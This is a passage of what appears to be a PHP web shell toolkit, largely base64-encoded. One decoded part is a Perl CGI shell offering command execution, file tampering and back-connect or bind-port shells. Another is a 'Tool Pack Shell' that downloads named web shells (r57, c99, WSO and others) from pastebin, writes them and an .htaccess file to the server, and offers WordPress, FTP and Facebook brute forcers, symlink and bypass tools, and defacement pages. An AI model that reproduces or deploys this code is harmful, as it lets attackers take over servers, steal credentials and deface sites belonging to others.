k7CglpZighJFdpbk5UKQoJewoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQlpZigkY2htb2QgbmUgMCkKCQl7CgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoJHJlbmFtZSBuZSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKfWVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCXsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZVcGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImNvbmZpZ21hcmlvbiIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkNvbmZpZ01hcmlvbjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4KewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==';
  1447.     $file       = fopen("CGI.HP2K2", "w+");
  1448.     $write      = fwrite($file, base64_decode($perltoolss));
  1449.     fclose($file);
  1450.     echo "<iframe src=CGI.HP2K2 width=100% height=720px frameborder=0></iframe> ";
  1451. }
  1452.  
  1453.  
  1454. elseif ($action == 'extractshell') {
  1455.     $file       = fopen($dir . "Extract-Shell.php", "w+");
  1456.     $perltoolss = 'PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFLQ21WamFHOGdJanhtYjNKdElHMWxkR2h2WkQwblVFOVRWQ2MrQ2p4alpXNTBaWEkrUEdneVBsUnZiMndnVUdGamF5QlRhR1ZzYkNCQ2VUb2dTbTlyWlhJdFZFaFVQQzlvTWo0OEwyTmxiblJsY2o0S1BHWnBaV3hrYzJWMFBnbzhZMlZ1ZEdWeVBpNHVPanBCYkd3Z2MyaGxiR3c2T2k0dVBDOWpaVzUwWlhJK1BDOWljajRLUEdObGJuUmxjajRLUEdsdWNIVjBJSFI1Y0dVOUozTjFZbTFwZENjZ2JtRnRaVDBuY2pVM0p5QjJZV3gxWlQwbmNqVTNJRk5vWld4c0p6NEtQR2x1Y0hWMElIUjVjR1U5SjNOMVltMXBkQ2NnYm1GdFpUMG5Zems1SnlCMllXeDFaVDBuWXprNUlGTm9aV3hzSno0S0NnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZE5ZWEpwYjI0d01ERW5JSFpoYkhWbFBTZFRhR1ZzYkNCTllYSnBiMjR3TURFblBnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZGllV2NuSUhaaGJIVmxQU2RDV1VjZ1UyaGxiR3duUGdvOGFXNXdkWFFnZEhsd1pUMG5jM1ZpYldsMEp5QnVZVzFsUFNkdFkyTW5JSFpoYkhWbFBTZE5RME1nVTJobGJHd25QZ284YVc1d2RYUWdkSGx3WlQwbmMzVmliV2wwSnlCdVlXMWxQU2QzYzI4bklIWmhiSFZsUFNkWFUwOGdVMmhsYkd3blBnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZElZVzVrVXljZ2RtRnNkV1U5SjBoaGJtUlRJRk5vWld4c0p6NEtQR2x1Y0hWMElIUjVjR1U5SjNOMVltMXBkQ2NnYm1GdFpUMG5ZekV3TUNjZ2RtRnNkV1U5SjJNeE1EQWdVMmhsYkd3blBnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZDNjR2h3SnlCMllXeDFaVDBuZHk1d2FIQW5QZ284YVc1d2RYUWdkSGx3WlQwbmMzVmliV2wwSnlCdVlXMWxQU2R3YVhKMk9EUXdOQ2NnZG1Gc2RXVTlKelF3TkNCUWNtbDJPQ0JUYUdWc2JDYytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKMDlRU0VzbklIWmhiSFZsUFNkVGFHVnNiQ0FqVDFCSVN5YytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKMGswTnljZ2RtRnNkV1U5SjBrdE5EY3VjR2h3Sno0S1BHbHVjSFYwSUhSNWNHVTlKM04xWW0xcGRDY2dibUZ0WlQwbmMyaGxiR3hETlRBbklIWmhiSFZsUFNkVGFHVnNiQ0JETlRBblBnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZDRlSGduSUhaaGJIVmxQU2Q0ZUhndWNHaHdKejRLQ2dvOEwyWnBaV3hrYzJWMFBnbzhjQ0JoYkdsbmJqMG5ZMlZ1ZEdWeUp5QmthWEk5SjJ4MGNpYytQR1p2Ym5RZ1ptRmpaVDBuVkdGb2IyMWhKeUJ6YVhwbFBTY3lKejRpT3dva2MyZ2dQU0FuWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1uT3dwbFkyaHZJQ0k4Wm05eWJTQnRaWFJvYjJROUoxQlBVMVFuUGdvOFptbGxiR1J6WlhRK0NqeGpaVzUwWlhJK0xpNDZPaUJNYjJOaGJDQkJkSFJoWTJzZ09qb3VMand2WTJWdWRHVnlQand2WW5JK0NqeGpaVzUwWlhJK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUowTkhTU2NnZG1Gc2RXVTlKME5IU1NCVGFHVnNiQ2MrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjNOaGMyaGxiR3duSUhaaGJIVmxQU2N1YzJFZ1UyaGxiR3duUGdvOGFXNXdkWFFnZEhsd1pUMG5jM1ZpYldsMEp5QnVZVzFsUFNkemMya25JSFpoYkhWbFBTZHpjMmt1YzJoMGJXd25QZ284YVc1d2RYUWdkSGx3WlQwbmMzVmliV2wwSnlCdVlXMWxQU2R6Y1d4amIyMXRZVzVrSnlCMllXeDFaVDBuVFhsemNXd2dRMjl0YldGdVpDYytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKMmRsZEdOdmJtWW5JSFpoYkhWbFBTZEhaWFFnUVd4c0lFTnZibVpwWnljK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUozTm9aV3hzWW5sd1lYTnpKeUIyWVd4MVpUMG5VMmhsYkd4aWVYQmhjM011Y0dod0p6NEtQR2x1Y0hWMElIUjVjR1U5SjNOMVltMXBkQ2NnYm1GdFpUMG5jM2x0YkdsdWEzTmhKeUIyWVd4MVpUMG5VM2x0YkdsdWF5QlRZU0F6TGpBdWNHaHdKejRLUEdsdWNIVjBJSFI1Y0dVOUozTjFZbTFwZENjZ2JtRnRaVDBuY0hsMGFHOXVjR2h3SnlCMllXeDFaVDBuY0hsMGFHOXVMbkJvY0NjK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUozVnpaWEprYjIxaGFXNG5JSFpoYkhWbFBTZEhaWFFnZFhObGNpQmtiMjFoYVc0blBnbzhhVzV3ZFhRZ2RIbHdaVDBuYzNWaWJXbDBKeUJ1WVcxbFBTZHlaV0ZrWm1sc1pTY2dkbUZzZFdVOUoxSmxZV1FnUm1sc1pTYytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKMk52YlcxaGJtUndhSEFuSUhaaGJIVmxQU2REYjIxdFlXNWtMbkJvY0NjK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUozTjViWEp2YjNRbklIWmhiSFZsUFNkVGVXMXliMjkwTG5Cb2NDYytDand2Wm1sbGJHUnpaWFErQ2p4d0lHRnNhV2R1UFNkalpXNTBaWEluSUdScGNqMG5iSFJ5Sno0OFptOXVkQ0JtWVdObFBTZFVZV2h2YldFbklITnBlbVU5SnpJblBpSTdDaVJ6YUNBOUlDZG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5YzdJQXBsWTJodklDSThabTl5YlNCdFpYUm9iMlE5SjFCUFUxUW5QZ284WTJWdWRHVnlQZ284Wm1sbGJHUnpaWFErQ2p4alpXNTBaWEkrTGk0Nk9pQlViMjlzSURvNkxpNDhMMk5sYm5SbGNqNDhMMkp5UGdvOGFXNXdkWFFnZEhsd1pUMG5jM1ZpYldsMEp5QnVZVzFsUFNkM2NHSnlkWFJsSnlCMllXeDFaVDBuVjI5eVpIQnlaWE56SUVKeWRYUmxjaWMrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjJad2RHSnlkWFJsSnlCMllXeDFaVDBuUm5CMElFSnlkWFJsY2ljK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUoxTmxZelJsZG1WeUp5QjJZV3gxWlQwblUyVmpOR1YyWlhJZ1ZYTmxjbk1nVlhCa1lYUmxKejRLUEdsdWNIVjBJSFI1Y0dVOUozTjFZbTFwZENjZ2JtRnRaVDBuYzJGdmJIVjFKeUIyWVd4MVpUMG5jMkZ2YkhWMUxuQm9jQ2MrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjJOb1pXTnJiR2wyWlhOb1pXeHNKeUIyWVd4MVpUMG5RMmhsWTJzZ1RHbDJaU0JUYUdWc2JDYytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKMlpoYTJWdFlXbHNKeUIyWVd4MVpUMG5SbUZyWlNCTllXbHNKejRLUEdsdWNIVjBJSFI1Y0dVOUozTjFZbTFwZENjZ2JtRnRaVDBuYzJOaGJuTm9aV3hzSnlCMllXeDFaVDBuVTJOaGJpMVRhR1ZzYkNjK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUoyWmlZbkoxZEdVbklIWmhiSFZsUFNkQ2NuVjBaU0JHWVdObFltOXZheWMrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjJWNGNHeHZhWFIzY0NjZ2RtRnNkV1U5SjFkdmNtUndjbVZ6Y3lCRGIyNW1hV2RCZFhSdklFVjRjR3h2YVhSbGNpYytDanhwYm5CMWRDQjBlWEJsUFNkemRXSnRhWFFuSUc1aGJXVTlKM3BwY0NjZ2RtRnNkV1U5SjFwcGNDQkdhV3hsSno0S1BHbHVjSFYwSUhSNWNHVTlKM04xWW0xcGRDY2dibUZ0WlQwblpIVnRjR1Z5SnlCMllXeDFaVDBuUkhWdGNHVnlMbkJvY0NjK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUoycDFiWEFuSUhaaGJIVmxQU2RLZFcxd0xuQm9jQ2MrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklHNWhiV1U5SjJ4bFpXTm9KeUIyWVd4MVpUMG5UR1ZsWTJndWNHaHdKejRLUEdsdWNIVjBJSFI1Y0dVOUozTjFZbTFwZENjZ2JtRnRaVDBuWW5sd1lYTnpKeUIyWVd4MVpUMG5Rbmx3WVhOekxuQm9jQ2MrQ2dvOEwyWnBaV3hrYzJWMFBnbzhjQ0JoYkdsbmJqMG5ZMlZ1ZEdWeUp5QmthWEk5SjJ4MGNpYytQR1p2Ym5RZ1ptRmpaVDBuVkdGb2IyMWhKeUJ6YVhwbFBTY3lKejRpT3dva2MyZ2dQU0FuWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1uT3lBS1pXTm9ieUFpUEdadmNtMGdiV1YwYUc5a1BTZFFUMU5VSno0S1BHWnBaV3hrYzJWMFBnbzhZMlZ1ZEdWeVBpNHVPam9nUkdWbVlXTmxJRG82TGk0OEwyTmxiblJsY2o0OEwySnlQZ284WTJWdWRHVnlQZ284YVc1d2RYUWdkSGx3WlQwbmMzVmliV2wwSnlCdVlXMWxQU2R3WVdOcmRYQnNiMkZrSnlCMllXeDFaVDBuZFhCc2IyRmtMbkJvY0NjK0NqeHBibkIxZENCMGVYQmxQU2R6ZFdKdGFYUW5JRzVoYldVOUoybHVaR1Y0YW05clpYSW5JSFpoYkhWbFBTZEtiMnRsY2kxVVNGUWdhVzVrWlhndWFIUnRiQ2MrQ2p3dlptbGxiR1J6WlhRK0NqeHdJR0ZzYVdkdVBTZGpaVzUwWlhJbklHUnBjajBuYkhSeUp6NDhabTl1ZENCbVlXTmxQU2RVWVdodmJXRW5JSE5wZW1VOUp6SW5QaUk3Q2lSemFDQTlJQ2RtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWM3SUFvS0Nnb0tDZ29LQ21sbUtDUmZVRTlUVkZzbmNqVTNKMTBwSUhzS0pISTFOeUE5SUNkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTV3YUhBL2FUMXFibWxNUlZoTFV5YzdDaVJuWlhRZ1BTQWtjMmdvSkhJMU55azdDaVJ1WVcweElEMGdabTl3Wlc0b0ozSTFOeTV3YUhBbkxDQW5keWNwT3dwbWQzSnBkR1VvSkc1aGJURXNKR2RsZENrN0NtWmpiRzl6WlNna2JtRnRNU2s3Q21WamFHOGdKenh3SUdGc2FXZHVQU0pqWlc1MFpYSWlJR1JwY2owaWJIUnlJajQ4Wm05dWRDQm1ZV05sUFNKVVlXaHZiV0VpSUhOcGVtVTlJaklpUGp4UVlXTnJJRk5vWld4c0lGUm9KaU15TWpRN2JtZ2dReVlqTWpRME8yNW5QQzltYjI1MFBpQmJJRHhoSUdoeVpXWTlJbkkxTnk1d2FIQWlJSFJoY21kbGREMGlYMkpzWVc1cklqNVdKaU15TWpRN2J5QlRhR1ZzYkR3dllUNGdYU0E4TDJadmJuUStQQzl3UGljN0NuMEthV1lvSkY5UVQxTlVXeWRqT1RrblhTa2dld29rWXprNUlEMGdKMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0xuQm9jRDlwUFZOd1IxbFVRbkV3SnpzS0pHZGxkRElnUFNBa2MyZ29KR001T1NrN0NpUnVZVzB5SUQwZ1ptOXdaVzRvSjJNNU9TNXdhSEFuTENBbmR5Y3BPd3BtZDNKcGRHVW9KRzVoYlRJc0pHZGxkRElwT3dwbVkyeHZjMlVvSkc1aGJUSXBPd3BsWTJodklDYzhjQ0JoYkdsbmJqMGlZMlZ1ZEdWeUlpQmthWEk5SW14MGNpSStQR1p2Ym5RZ1ptRmpaVDBpVkdGb2IyMWhJaUJ6YVhwbFBTSXlJajVRWVdOcklGTm9aV3hzSUZSb0ppTXlNalE3Ym1nZ1F5WWpNalEwTzI1blBDOW1iMjUwUGlBdUxpQlBjR1Z1SUZOb1pXeHNJRnNnUEdFZ2FISmxaajBpWXprNUxuQm9jQ0lnZEdGeVoyVjBQU0pmWW14aGJtc2lQbFltSXpJeU5EdHZJRk5vWld4c1BDOWhQaUJkUEM5bWIyNTBQand2Y0Q0bk93cDlDbWxtS0NSZlVFOVRWRnNuVFdGeWFXOXVNREF4SjEwcElIc2dDaVJ0WVdRZ1BTQW5hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdWNHaHdQMms5ZVRab2VFVlJiV2tuT3dva1oyVjBNeUE5SUNSemFDZ2tiV0ZrS1RzS0pHNWhiVE1nUFNCbWIzQmxiaWduVFdGeWFXOXVNREF4TG5Cb2NDY3NJQ2QzSnlrN0NtWjNjbWwwWlNna2JtRnRNeXdrWjJWME15azdDbVpqYkc5elpTZ2tibUZ0TXlrN0NtVmphRzhnSnp4d0lHRnNhV2R1UFNKalpXNTBaWElpSUdScGNqMGliSFJ5SWo0OFptOXVkQ0JtWVdObFBTSlVZV2h2YldFaUlITnBlbVU5SWpJaVBsQmhZMnNnVTJobGJHd2dWR2dtSXpJeU5EdHVhQ0JESmlNeU5EUTdibWM4TDJadmJuUStJQzR1SUU5d1pXNGdVMmhsYkd3Z1d5QThZU0JvY21WbVBTSk5ZWEpwYjI0d01ERXVjR2h3SWlCMFlYSm5aWFE5SWw5aWJHRnVheUkrVmlZak1qSTBPMjhnVTJobGJHdzhMMkUrSUYwOEwyWnZiblErUEM5d1BpYzdDbjBLYVdZb0pGOVFUMU5VV3lkaWVXY25YU2tnZXdva1pXZDVJRDBnSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMbkJvY0Q5cFBXMVlkMVZWY1c1UUp6c0tKR2RsZERRZ1BTQWtjMmdvSkdWbmVTazdDaVJ1WVcwMElEMGdabTl3Wlc0b0oySjVaeTV3YUhBbkxDQW5keWNwT3dwbWQzSnBkR1VvSkc1aGJUUXNKR2RsZERRcE93cG1ZMnh2YzJVb0pHNWhiVFFwT3dwbFkyaHZJQ2M4Y0NCaGJHbG5iajBpWTJWdWRHVnlJaUJrYVhJOUlteDBjaUkrUEdadmJuUWdabUZqWlQwaVZHRm9iMjFoSWlCemFYcGxQU0l5SWo0OFptOXVkQ0JqYjJ4dmNqMGlJemMzTURBd01DSStVR0ZqYXlCVGFHVnNiQ0JVYUNZak1qSTBPMjVvSUVNbUl6STBORHR1Wnp3dlptOXVkRDRnTGk0Z1QzQmxiaUJUYUdWc2JDQmJJRHhoSUdoeVpXWTlJbUo1Wnk1d2FIQWlJSFJoY21kbGREMGlYMkpzWVc1cklqNVdKaU15TWpRN2J5QlRhR1ZzYkR3dllUNGdYVHd2Wm05dWRENDhMM0ErSnpzS2ZRcHBaaWdrWDFCUFUxUmJKM056YVNkZEtTQjdDbTFyWkdseUtDZHpjMmtuTENBd056VTFLVHNLWTJoa2FYSW9KM056YVNjcE93b2thSFJoWXlBOUlDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk1d2FIQS9hVDFPT0RGRVRHdERPQ2M3Q2lSb2RHRTFJRDBnSkhOb0tDUm9kR0ZqS1RzS0pHaDBZWE0xSUQwZ1ptOXdaVzRvSnk1b2RHRmpZMlZ6Y3ljc0lDZDNKeWs3Q21aM2NtbDBaU2drYUhSaGN6VXNKR2gwWVRVcE93cG1ZMnh2YzJVb0pHaDBZWE0xS1RzS0pHSXpOeUE5SUNkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTV3YUhBL2FUMVdWSFZ6ZVcxQ2NDYzdDaVJuWlhRMUlEMGdKSE5vS0NSaU16Y3BPd29rYm1GdE5TQTlJR1p2Y0dWdUtDZHpjMmt1YzJoMGJXd25MQ0FuZHljcE93cG1kM0pwZEdVb0pHNWhiVFVzSkdkbGREVXBPd3BtWTJ4dmMyVW9KRzVoYlRVcE93cGxZMmh2SUNjOGNDQmhiR2xuYmowaVkyVnVkR1Z5SWlCa2FYSTlJbXgwY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeUlqNVFZV05ySUZOb1pXeHNJRlJvSmlNeU1qUTdibWdnUXlZak1qUTBPMjVuUEM5bWIyNTBQaUF1TGlCUGNHVnVJRk5vWld4c0lGc2dQR0VnYUhKbFpqMGljM05wTDNOemFTNXphSFJ0YkNJZ2RHRnlaMlYwUFNKZllteGhibXNpUGxZbUl6SXlORHR2SUZOb1pXeHNQQzloUGlCZFBDOW1iMjUwUGp3dmNENG5Pd3A5Q21sbUtDUmZVRTlUVkZzbmJXTmpKMTBwSUhzS0pHMWpZeUE5SUNkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTV3YUhBL2FUMUlURGN5ZDBvelNDYzdDaVJuWlhRMklEMGdKSE5vS0NSdFkyTXBPd29rYm1GdE5pQTlJR1p2Y0dWdUtDZE5RME11Y0dod0p5d2dKM2NuS1RzS1puZHlhWFJsS0NSdVlXMDJMQ1JuWlhRMktUc0tabU5zYjNObEtDUnVZVzAyS1RzS1pXTm9ieUFuUEhBZ1lXeHBaMjQ5SW1ObGJuUmxjaUlnWkdseVBTSnNkSElpUGp4bWIyNTBJR1poWTJVOUlsUmhhRzl0WVNJZ2MybDZaVDBpTWlJK1VHRmpheUJUYUdWc2JDQlVhQ1lqTWpJME8yNW9JRU1tSXpJME5EdHVaend2Wm05dWRENGdMaTRnVDNCbGJpQlRhR1ZzYkNCYklEeGhJR2h5WldZOUlrMURReTV3YUhBaUlIUmhjbWRsZEQwaVgySnNZVzVySWo1V0ppTXlNalE3YnlCVGFHVnNiRHd2WVQ0Z1hUd3ZabTl1ZEQ0OEwzQStKenNLZlFwcFppZ2tYMUJQVTFSYkozZHpieWRkS1NCN0NpUjNjMjhnSUQwZ0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTG5Cb2NEOXBQWEEwWVRKQ1lURkxKenNLSkdkbGREY2dQU0FrYzJnb0pIZHpieWs3Q2lSdVlXMDNJRDBnWm05d1pXNG9KM2R6Ynk1d2FIQW5MQ0FuZHljcE93cG1kM0pwZEdVb0pHNWhiVGNzSkdkbGREY3BPd3BtWTJ4dmMyVW9KRzVoYlRjcE93cGxZMmh2SUNjOGNDQmhiR2xuYmowaVkyVnVkR1Z5SWlCa2FYSTlJbXgwY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeUlqNVFZV05ySUZOb1pXeHNJRlJvSmlNeU1qUTdibWdnUXlZak1qUTBPMjVuUEM5bWIyNTBQaUF1TGlCUGNHVnVJRk5vWld4c0lGc2dQR0VnYUhKbFpqMGlkM052TG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBsWW1Jekl5TkR0dklGTm9aV3hzUEM5aFBpQmRQQzltYjI1MFBqd3ZjRDRuT3dwOUNncHBaaWdrWDFCUFUxUmJKMk14TURBblhTa2dld29rWXpFd01DQWdJRDBnSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMbkJvY0Q5cFBVZGFla05GVlRoQ0p6c0tKR2RsZERrZ1BTQWtjMmdvSkdNeE1EQXBPd29rYm1GdE9TQTlJR1p2Y0dWdUtDZGpNVEF3TG5Cb2NDY3NJQ2QzSnlrN0NtWjNjbWwwWlNna2JtRnRPU3drWjJWME9TazdDbVpqYkc5elpTZ2tibUZ0T1NrN0NtVmphRzhnSnp4d0lHRnNhV2R1UFNKalpXNTBaWElpSUdScGNqMGliSFJ5SWo0OFptOXVkQ0JtWVdObFBTSlVZV2h2YldFaUlITnBlbVU5SWpJaVBsQmhZMnNnVTJobGJHd2dWR2dtSXpJeU5EdHVhQ0JESmlNeU5EUTdibWM4TDJadmJuUStJQzR1SUU5d1pXNGdVMmhsYkd3Z1d5QThZU0JvY21WbVBTSmpNVEF3TG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBsWW1Jekl5TkR0dklGTm9aV3hzUEM5aFBpQmRQQzltYjI1MFBqd3ZjRDRuT3dwOUNtbG1LQ1JmVUU5VFZGc25kM0JpY25WMFpTZGRLU0I3Q2lSM2NHSnlkWFJsSUNBZ0lEMGdKMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0xuQm9jRDlwUFV0UlNGUndZakpXSnpzS0pHZGxkREV3SUQwZ0pITm9LQ1IzY0dKeWRYUmxLVHNLSkc1aGJURXdJRDBnWm05d1pXNG9KM2R2Y21Sd2NtVnpjeTFpY25WMFpYSXVjR2h3Snl3Z0ozY25LVHNLWm5keWFYUmxLQ1J1WVcweE1Dd2taMlYwTVRBcE93cG1ZMnh2YzJVb0pHNWhiVEV3S1RzS1pXTm9ieUFuUEhBZ1lXeHBaMjQ5SW1ObGJuUmxjaUlnWkdseVBTSnNkSElpUGp4bWIyNTBJR1poWTJVOUlsUmhhRzl0WVNJZ2MybDZaVDBpTWlJK1VHRmpheUJUYUdWc2JDQlVhQ1lqTWpJME8yNW9JRU1tSXpJME5EdHVaend2Wm05dWRENGdMaTRnVDNCbGJpQlRhR1ZzYkNCYklEeGhJR2h5WldZOUluZHZjbVJ3Y21WemN5MWljblYwWlhJdWNHaHdJaUIwWVhKblpYUTlJbDlpYkdGdWF5SStWaVlqTWpJME8yOGdVMmhsYkd3OEwyRStJRjA4TDJadmJuUStQQzl3UGljN0NuMEthV1lvSkY5UVQxTlVXeWRtY0hSaWNuVjBaU2RkS1NCN0NpUm1jSFJpY25WMFpTQWdJQ0E5SUNkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTV3YUhBL2FUMVFXSFE0ZFdaNU5TYzdDaVJuWlhReE1TQTlJQ1J6YUNna1puQjBZbkoxZEdVcE93b2tibUZ0TVRFZ1BTQm1iM0JsYmlnblpuQjBMV0p5ZFhSbGNpNXdhSEFuTENBbmR5Y3BPd3BtZDNKcGRHVW9KRzVoYlRFeExDUm5aWFF4TVNrN0NtWmpiRzl6WlNna2JtRnRNVEVwT3dwbFkyaHZJQ2M4Y0NCaGJHbG5iajBpWTJWdWRHVnlJaUJrYVhJOUlteDBjaUkrUEdadmJuUWdabUZqWlQwaVZHRm9iMjFoSWlCemFYcGxQU0l5SWo1UVlXTnJJRk5vWld4c0lGUm9KaU15TWpRN2JtZ2dReVlqTWpRME8yNW5QQzltYjI1MFBpQXVMaUJQY0dWdUlGTm9aV3hzSUZzZ1BHRWdhSEpsWmowaVpuQjBMV0p5ZFhSbGNpNXdhSEFpSUhSaGNtZGxkRDBpWDJKc1lXNXJJajVXSmlNeU1qUTdieUJUYUdWc2JEd3ZZVDRnWFR3dlptOXVkRDQ4TDNBK0p6c0tmUXBwWmlna1gxQlBVMVJiSjNOeGJHTnZiVzFoYm1RblhTa2dld29rYzNGc1kyOXRiV0Z1WkNBOUlDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk1d2FIQS9hVDFNWWp